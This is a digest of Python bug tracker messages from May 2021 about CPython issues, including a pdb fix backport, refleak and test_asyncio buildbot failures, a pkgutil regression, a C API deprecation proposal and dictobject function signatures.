11 May 2021 23:48:12 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620776892.69.0.18499657001.issue28528@roundup.psfhosted.org> Irit Katriel added the comment: New changeset c90ed8e2e79ebd64f72c621b5a2ab06ec4c7210c by Miss Islington (bot) in branch '3.10': bpo-28528: Fix pdb.checkline() attribute error when 'curframe' is None. (GH-25438) (#26050) https://github.com/python/cpython/commit/c90ed8e2e79ebd64f72c621b5a2ab06ec4c7210c ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 19:50:37 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 11 May 2021 23:50:37 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620777037.55.0.161085684831.issue28528@roundup.psfhosted.org> Irit Katriel added the comment: The 3.9 backport failed because of test failures like: ====================================================================== ERROR: test_checkline_is_not_executable (test.test_pdb.ChecklineTests) ---------------------------------------------------------------------- Traceback (most recent call last): File "D:\a\cpython\cpython\lib\test\test_pdb.py", line 1752, in tearDown os_helper.unlink(os_helper.TESTFN) NameError: name 'os_helper' is not defined ---------------------------------------------------------------------- ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 20:02:19 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Wed, 12 May 2021 00:02:19 +0000 Subject: [issue44002] Use functools.lru_cache in urllib.parse instead of 1996 custom caching In-Reply-To: <1619893035.74.0.250033562413.issue44002@roundup.psfhosted.org> Message-ID: <1620777739.79.0.431117011916.issue44002@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 20:06:48 2021 From: report at bugs.python.org (Ned Batchelder) Date: Wed, 12 May 2021 00:06:48 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620778008.21.0.115503594396.issue43933@roundup.psfhosted.org> Ned Batchelder added the comment: BTW, I created a separate issue about this: https://bugs.python.org/issue44088 because I wasn't sure if I should continue on this one, sorry. Feel free to close either one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 21:38:35 2021 From: report at bugs.python.org (ueJone) Date: Wed, 12 May 2021 01:38:35 +0000 Subject: [issue44107] HTTPServer can't close http client completely In-Reply-To: <1620727659.65.0.182288383134.issue44107@roundup.psfhosted.org> Message-ID: <1620783515.07.0.453468458112.issue44107@roundup.psfhosted.org> ueJone <775844993 at qq.com> added the comment: The HTTPServers run on win10 20H2. The HTTP client is a embed device. The client often fails to connect to the HTTP server when reboot after close socket. Test as follows: 1. The client close socket when HTTP_GET request is done.(Now you can see that HTTPServer not send 'FIN', it means the server not close socket completely) 2. The client reboot and send HTTP_GET request again, but it can't connect to the HTTPServer as shown in the attachment. In addition, every request is successful if the client not reboot. I think the problem may be caused by the HTTPServer not closing the previous connection completely. ---------- resolution: -> remind _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 23:14:09 2021 From: report at bugs.python.org (Unknown Simonsen) Date: Wed, 12 May 2021 03:14:09 +0000 Subject: [issue44111] 404 link on python webpage Message-ID: <1620789249.22.0.707817770265.issue44111@roundup.psfhosted.org> New submission from Unknown Simonsen <0lsimonsen at tawacollege.school.nz>: https://www.python.org/community-landing/diversity shows 404 The page is shown when going python.org > Community > Diversity Statement ---------- assignee: docs at python components: Documentation messages: 393483 nosy: 0lsimonsen, docs at python priority: normal severity: normal status: open title: 404 link on python webpage _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 23:14:41 2021 From: report at bugs.python.org (Unknown Simonsen) Date: Wed, 12 May 2021 03:14:41 +0000 Subject: [issue44111] 404 link on python webpage In-Reply-To: <1620789249.22.0.707817770265.issue44111@roundup.psfhosted.org> Message-ID: <1620789281.75.0.92546652105.issue44111@roundup.psfhosted.org> Change by Unknown Simonsen <0lsimonsen at tawacollege.school.nz>: ---------- components: -Documentation type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 11 23:31:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 12 May 2021 03:31:29 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620790289.06.0.590903377615.issue43795@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Unfortunately commit b05955d6f5f149523b5855a335444b7c6324bdb7 has broken all refleak buildbots: https://buildbot.python.org/all/#/builders/259/builds/25/steps/5/logs/stdio See example: ---------------------------------------------------------------------- Ran 53 tests in 5.629s OK (skipped=1) ...... test_tools leaked [251, 251, 251] references, sum=753 test_tools leaked [91, 91, 91] memory blocks, sum=273 1 test failed again: test_tools Per our buildbot policy, it will be reverted if is not fixed in 24h to avoid masking other errors. ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 01:00:45 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 12 May 2021 05:00:45 +0000 Subject: [issue43220] Argparse: Explicit default required arguments with add_mutually_exclusive_group are rejected In-Reply-To: <1613284485.11.0.495534943099.issue43220@roundup.psfhosted.org> Message-ID: <1620795645.03.0.695395238534.issue43220@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: rhettinger -> paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 02:26:43 2021 From: report at bugs.python.org (Karthikeyan Singaravelan) Date: Wed, 12 May 2021 06:26:43 +0000 Subject: [issue44111] 404 link on python webpage In-Reply-To: <1620789249.22.0.707817770265.issue44111@roundup.psfhosted.org> Message-ID: <1620800803.29.0.608419575306.issue44111@roundup.psfhosted.org> Karthikeyan Singaravelan added the comment: python.org > Community > Diversity Statement links to https://www.python.org/community/diversity/ renders the page properly. I don't see any links to /community-landing/diversity in the source code. If this is an issue I guess this is something that must be reported to https://github.com/python/pythondotorg and looks like a third-party issue to me. ---------- nosy: +xtreak _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 03:40:21 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 May 2021 07:40:21 +0000 Subject: [issue44088] traced line number can be None In-Reply-To: <1620561278.58.0.87704463996.issue44088@roundup.psfhosted.org> Message-ID: <1620805221.81.0.519922622703.issue44088@roundup.psfhosted.org> Mark Shannon added the comment: Duplicate of https://bugs.python.org/issue43933 ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 04:38:38 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 08:38:38 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620808718.98.0.590698005287.issue28528@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24693 pull_request: https://github.com/python/cpython/pull/26053 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 04:41:16 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 08:41:16 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620808876.54.0.556896984074.issue28528@roundup.psfhosted.org> Erlend E. Aasland added the comment: Yes, test.os_helper was introduced in 3.10. I've manually cherry-picked 8563a7052ccd98e6a381d361664ce567afd5eb6e to 3.9 (GH-26053). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:04:23 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 09:04:23 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620810263.84.0.184532486208.issue28528@roundup.psfhosted.org> miss-islington added the comment: New changeset 6c190b5ae5887d592bc8915148440a63da8b7cdd by Erlend Egeberg Aasland in branch '3.9': [3.9] bpo-28528: Fix pdb.checkline() attribute error when 'curframe' is None (GH-25438) (GH-26053) https://github.com/python/cpython/commit/6c190b5ae5887d592bc8915148440a63da8b7cdd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:07:55 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 09:07:55 +0000 Subject: [issue41620] Python Unittest does not return results object when the test is skipped In-Reply-To: <1598205044.1.0.669094685419.issue41620@roundup.psfhosted.org> Message-ID: <1620810475.98.0.423448056318.issue41620@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:07:49 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 09:07:49 +0000 Subject: [issue41620] Python Unittest does not return results object when the test is skipped In-Reply-To: <1598205044.1.0.669094685419.issue41620@roundup.psfhosted.org> Message-ID: <1620810469.33.0.569332136057.issue41620@roundup.psfhosted.org> Irit Katriel added the comment: Actually I take it back - this looks like a bug. The code updates the result object with skip info but then doesn't return it. But the patch needs a unit test covering this. ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:08:56 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 09:08:56 +0000 Subject: [issue28528] Pdb.checkline() attribute error when 'curframe' is None In-Reply-To: <1477401123.41.0.136094342663.issue28528@psf.upfronthosting.co.za> Message-ID: <1620810536.83.0.093184692432.issue28528@roundup.psfhosted.org> Irit Katriel added the comment: Thank you Erlend! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:30:32 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 May 2021 09:30:32 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620811832.59.0.494437792751.issue43933@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +24694 pull_request: https://github.com/python/cpython/pull/26054 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:40:34 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 09:40:34 +0000 Subject: [issue44112] [buildbot] test_asyncio hangs after 3 hours on Refleak buildbots Message-ID: <1620812434.16.0.332094043399.issue44112@roundup.psfhosted.org> New submission from STINNER Victor : Buildbot kills the "test" step because it takes longer than 3 hours, whereas Python regrtest gets a timeout of 3 hour 15 min. Refleak buildbots should get a longer timeout for the "test" step. PPC64LE Fedora Rawhide Refleaks 3.10: https://buildbot.python.org/all/#/builders/603/builds/7 ./python ./Tools/scripts/run_tests.py -j 1 -u all -W --slowest --fail-env-changed --timeout=11700 -R 3:3 -u-cpu -j10 WARNING: Disable --verbose3 because it's incompatible with --huntrleaks: see http://bugs.python.org/issue27103 == CPython 3.10.0b1+ (heads/3.10:9a0e65c8e0, May 10 2021, 00:01:01) [GCC 11.1.1 20210428 (Red Hat 11.1.1-1)] == Linux-5.7.0-0.rc0.git2.1.fc33.ppc64le-ppc64le-with-glibc2.33.9000 little-endian == cwd: /home/buildbot/buildarea/3.10.cstratak-fedora-rawhide-ppc64le.refleak/build/build/test_python_1529753? == CPU count: 8 == encodings: locale=UTF-8, FS=utf-8 Using random seed 1661030 0:00:00 load avg: 3.25 Run tests in parallel using 10 child processes (timeout: 3 hour 15 min, worker timeout: 3 hour 20 min) 0:00:00 load avg: 3.25 [ 1/427] test_tix skipped (resource denied) (...) 2:58:49 load avg: 0.00 running: test_asyncio (2 hour 58 min) 2:59:19 load avg: 0.00 running: test_asyncio (2 hour 58 min) 2:59:49 load avg: 0.00 running: test_asyncio (2 hour 59 min) command timed out: 10800 seconds elapsed running [b'make', b'buildbottest', b'TESTOPTS=-R 3:3 -u-cpu -j10 ${BUILDBOT_TESTOPTS}', b'TESTPYTHONOPTS=', b'TESTTIMEOUT=11700'], attempting to kill ---------- components: Tests, asyncio messages: 393491 nosy: asvetlov, pablogsal, vstinner, yselivanov priority: normal severity: normal status: open title: [buildbot] test_asyncio hangs after 3 hours on Refleak buildbots versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:44:25 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 09:44:25 +0000 Subject: [issue44112] [buildbot] test_asyncio hangs after 3 hours on Refleak buildbots In-Reply-To: <1620812434.16.0.332094043399.issue44112@roundup.psfhosted.org> Message-ID: <1620812665.49.0.936998946701.issue44112@roundup.psfhosted.org> STINNER Victor added the comment: It seems to be a real bug in test_asyncio, since in other builds on the same buildbot worker, test_asyncio takes less than 30 minutes: - build 8: test_asyncio: 27 min 48 sec - build 5: test_asyncio: 21 min 44 sec - build 2: test_asyncio: 20 min 42 sec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:45:10 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 09:45:10 +0000 Subject: [issue40640] Tutorial for Continue missing ... line In-Reply-To: <1589608941.53.0.91951505263.issue40640@roundup.psfhosted.org> Message-ID: <1620812710.03.0.884901710042.issue40640@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +24695 pull_request: https://github.com/python/cpython/pull/26055 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:45:55 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 09:45:55 +0000 Subject: [issue44112] [buildbot] test_asyncio hangs after 3 hours on Refleak buildbots In-Reply-To: <1620812434.16.0.332094043399.issue44112@roundup.psfhosted.org> Message-ID: <1620812755.36.0.269816030771.issue44112@roundup.psfhosted.org> STINNER Victor added the comment: I bet that the hang is a duplicate of the old bpo-38323 "asyncio: MultiLoopWatcher has a race condition (test_asyncio: test_close_kill_running() hangs on AMD64 RHEL7 Refleaks 3.x)" that I reported 2 years ago and is not fixed yet. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:46:42 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 09:46:42 +0000 Subject: [issue44112] [buildbot] test_asyncio hangs (killed after 3 hours) on Refleak buildbots In-Reply-To: <1620812434.16.0.332094043399.issue44112@roundup.psfhosted.org> Message-ID: <1620812802.9.0.310573024785.issue44112@roundup.psfhosted.org> Change by STINNER Victor : ---------- title: [buildbot] test_asyncio hangs after 3 hours on Refleak buildbots -> [buildbot] test_asyncio hangs (killed after 3 hours) on Refleak buildbots _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:48:57 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 12 May 2021 09:48:57 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620812937.61.0.352588051071.issue44061@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 0cb9775a85a051556461ea9c3089244601b7d4f8 by Steve Dower in branch '3.9': bpo-44061: Fix pkgutil.iter_modules regression when passed a pathlib.Path object (GH-25964) (GH-26052) https://github.com/python/cpython/commit/0cb9775a85a051556461ea9c3089244601b7d4f8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:54:04 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 12 May 2021 09:54:04 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620813244.79.0.453349683133.issue44061@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- pull_requests: +24696 pull_request: https://github.com/python/cpython/pull/26056 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:57:41 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 12 May 2021 09:57:41 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620813461.19.0.647517491514.issue44070@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 378211f7789c4edf7385ff619fa74d6615bef242 by Steve Dower in branch '3.8': bpo-44070: No longer eagerly makes import filenames absolute, except for extension modules (GH-26025) (#26028) https://github.com/python/cpython/commit/378211f7789c4edf7385ff619fa74d6615bef242 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 05:58:23 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 09:58:23 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620813503.03.0.652897502957.issue43795@roundup.psfhosted.org> Petr Viktorin added the comment: Thanks for the note! This is due to `csv`. Adding a script in Tools/scripts that imports csv will also make the refleak check fail. I'll investigate further. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:02:36 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 10:02:36 +0000 Subject: [issue37555] _CallList.__contains__ doesn't always respect ANY. In-Reply-To: <1562821924.84.0.134272462767.issue37555@roundup.psfhosted.org> Message-ID: <1620813756.43.0.719789606482.issue37555@roundup.psfhosted.org> Irit Katriel added the comment: 3.8 is in security fix mode now, so I think this issue can be closed. ---------- resolution: -> fixed status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:18:11 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 12 May 2021 10:18:11 +0000 Subject: [issue44061] Regression in pkgutil: iter_modules stopped taking Path argument in python 3.8.10 and 3.9.5 In-Reply-To: <1620323641.82.0.334230031538.issue44061@roundup.psfhosted.org> Message-ID: <1620814691.72.0.399626732051.issue44061@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 4844abdd700120120fc76c29d911bcb547700baf by ?ukasz Langa in branch '3.8': [3.8] bpo-44061: Fix pkgutil.iter_modules regression when passed a pathlib.Path object (GH-25964). (GH-26056) https://github.com/python/cpython/commit/4844abdd700120120fc76c29d911bcb547700baf ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:20:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 10:20:54 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization Message-ID: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> New submission from STINNER Victor : The https://docs.python.org/dev/c-api/init.html documentation lists many functions which is the legacy way to configure the Python initialization. These functions are kept for backward compatibility but have flaws and are less reliable than the new PyConfig API (PEP 587) documented at https://docs.python.org/dev/c-api/init_config.html I propose to deprecate the legacy functions to configure the Python initialization. Examples: * Py_SetPath() * Py_SetProgramName() * Py_SetPythonHome() * Py_SetStandardStreamEncoding() * PySys_AddWarnOption() * PySys_AddWarnOptionUnicode() * PySys_AddXOption() I don't propose to schedule the removal of these functions, only mark them as deprecated in the *documentation*. Related issue: bpo-43956 "C-API: Incorrect default value for Py_SetProgramName" and PR 24876. ---------- assignee: docs at python components: C API, Documentation messages: 393499 nosy: docs at python, vstinner priority: normal severity: normal status: open title: [C API] Deprecate legacy API for configure Python initialization versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:23:11 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 10:23:11 +0000 Subject: [issue40640] Tutorial for Continue missing ... line In-Reply-To: <1589608941.53.0.91951505263.issue40640@roundup.psfhosted.org> Message-ID: <1620814991.98.0.329777393563.issue40640@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24697 pull_request: https://github.com/python/cpython/pull/26057 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:23:16 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 10:23:16 +0000 Subject: [issue40640] Tutorial for Continue missing ... line In-Reply-To: <1589608941.53.0.91951505263.issue40640@roundup.psfhosted.org> Message-ID: <1620814996.68.0.362490672337.issue40640@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24698 pull_request: https://github.com/python/cpython/pull/26058 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:25:15 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 May 2021 10:25:15 +0000 Subject: [issue40222] "Zero cost" exception handling In-Reply-To: <1586338863.3.0.393749013734.issue40222@roundup.psfhosted.org> Message-ID: <1620815115.72.0.834761061213.issue40222@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +24699 pull_request: https://github.com/python/cpython/pull/26059 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:25:58 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 10:25:58 +0000 Subject: [issue40640] Tutorial for Continue missing ... line In-Reply-To: <1589608941.53.0.91951505263.issue40640@roundup.psfhosted.org> Message-ID: <1620815158.36.0.366351432437.issue40640@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 48cb11bf5b426bd3f1d010f987c03115661261b7 by Miss Islington (bot) in branch '3.10': bpo-40640: doc -- add missing ... in example of Continue (GH-26055) (GH-26057) https://github.com/python/cpython/commit/48cb11bf5b426bd3f1d010f987c03115661261b7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:26:00 2021 From: report at bugs.python.org (Christian Heimes) Date: Wed, 12 May 2021 10:26:00 +0000 Subject: [issue44111] 404 link on python webpage In-Reply-To: <1620789249.22.0.707817770265.issue44111@roundup.psfhosted.org> Message-ID: <1620815160.35.0.662405995778.issue44111@roundup.psfhosted.org> Christian Heimes added the comment: I cannot reproduce the issue either. 0lsimonsen, in case you are still having trouble, please open a bug at https://github.com/python/pythondotorg/ and attach screen shots. This bug tracker is for CPython issues. python.org website is handled by a different team. ---------- nosy: +christian.heimes resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:28:13 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 10:28:13 +0000 Subject: [issue40640] Tutorial for Continue missing ... line In-Reply-To: <1589608941.53.0.91951505263.issue40640@roundup.psfhosted.org> Message-ID: <1620815293.96.0.765089211517.issue40640@roundup.psfhosted.org> Irit Katriel added the comment: New changeset ada9cdb94158a101db65af17b62cdd2ae6c3e782 by Miss Islington (bot) in branch '3.9': bpo-40640: doc -- add missing ... in example of Continue (GH-26055) (GH-26058) https://github.com/python/cpython/commit/ada9cdb94158a101db65af17b62cdd2ae6c3e782 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:28:45 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 10:28:45 +0000 Subject: [issue40640] Tutorial for Continue missing ... line In-Reply-To: <1589608941.53.0.91951505263.issue40640@roundup.psfhosted.org> Message-ID: <1620815325.82.0.466838410812.issue40640@roundup.psfhosted.org> Irit Katriel added the comment: Thank you Chas! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:28:48 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 10:28:48 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620815328.32.0.67738156751.issue44113@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +24700 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26060 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:29:01 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 10:29:01 +0000 Subject: [issue43956] C-API: Incorrect default value for Py_SetProgramName In-Reply-To: <1619546220.77.0.781822360652.issue43956@roundup.psfhosted.org> Message-ID: <1620815341.15.0.104723936986.issue43956@roundup.psfhosted.org> STINNER Victor added the comment: I created bpo-44113: "[C API] Deprecate legacy API for configure Python initialization". ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:29:16 2021 From: report at bugs.python.org (Jouke Witteveen) Date: Wed, 12 May 2021 10:29:16 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620815356.56.0.970900387263.issue44113@roundup.psfhosted.org> Change by Jouke Witteveen : ---------- nosy: +joukewitteveen nosy_count: 2.0 -> 3.0 pull_requests: +24701 pull_request: https://github.com/python/cpython/pull/24876 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 06:35:00 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 May 2021 10:35:00 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620815700.59.0.351830664425.issue43933@roundup.psfhosted.org> Change by Mark Shannon : ---------- pull_requests: +24702 pull_request: https://github.com/python/cpython/pull/26061 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 08:06:13 2021 From: report at bugs.python.org (Martin Teichmann) Date: Wed, 12 May 2021 12:06:13 +0000 Subject: [issue37334] Add a cancel method to asyncio Queues In-Reply-To: <1560930108.51.0.0633177562649.issue37334@roundup.psfhosted.org> Message-ID: <1620821173.87.0.18462460311.issue37334@roundup.psfhosted.org> Martin Teichmann added the comment: This is a years old issue, unfortunately it never got neither merged nor rejected. I just rebased it and hope somebody could finish the review. ---------- versions: +Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 08:46:01 2021 From: report at bugs.python.org (Joe Marshall) Date: Wed, 12 May 2021 12:46:01 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c Message-ID: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> New submission from Joe Marshall : There's a couple of wrong function signatures in dictobject.c, dictkeys_reversed and dictitems_reversed are defined as single arg functions like so: PyObject *(PyObject *), and are then passed around and called as PyCFunctions, which should be PyObject *(PyObject *self,PyObject *args). dictvalues_reversed is correct. This works fine on most C compilers as the extra arg is just ignored, but on things that use strict function pointer type checking (e.g. webassembly), it crashes (and hence any of the tests that happen to use these functions fails, which is a surprising number) I've got a fix in my pyodide repo, which I'll chuck in as a pull request on github. ---------- components: Interpreter Core messages: 393506 nosy: joemarshall priority: normal severity: normal status: open title: Incorrect function signatures in dictobject.c type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 08:47:31 2021 From: report at bugs.python.org (Joe Marshall) Date: Wed, 12 May 2021 12:47:31 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620823651.12.0.56534718343.issue44114@roundup.psfhosted.org> Change by Joe Marshall : ---------- keywords: +patch pull_requests: +24703 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26062 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:04:42 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 13:04:42 +0000 Subject: [issue25479] Increase unit test coverage for abc.py In-Reply-To: <1445829241.77.0.00855893760535.issue25479@psf.upfronthosting.co.za> Message-ID: <1620824682.62.0.165258277706.issue25479@roundup.psfhosted.org> Change by Irit Katriel : ---------- versions: +Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:05:58 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 13:05:58 +0000 Subject: [issue25479] Increase unit test coverage for abc.py In-Reply-To: <1445829241.77.0.00855893760535.issue25479@psf.upfronthosting.co.za> Message-ID: <1620824758.62.0.136510782378.issue25479@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24704 pull_request: https://github.com/python/cpython/pull/26063 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:09:37 2021 From: report at bugs.python.org (Martin Teichmann) Date: Wed, 12 May 2021 13:09:37 +0000 Subject: [issue44115] Improve conversions for fractions Message-ID: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> New submission from Martin Teichmann : Currently, fraction.Fractions can be generated from floats via their as_integer_ratio method. This had been extended to also work with the Decimals class. It would be more generic - and IMHO more Pythonic - to just allow any data type, as long as it has an as_integer_ratio method. As an example, this allows numpy floats to be converted into fractions. ---------- components: Library (Lib) messages: 393507 nosy: Martin.Teichmann priority: normal severity: normal status: open title: Improve conversions for fractions type: enhancement versions: 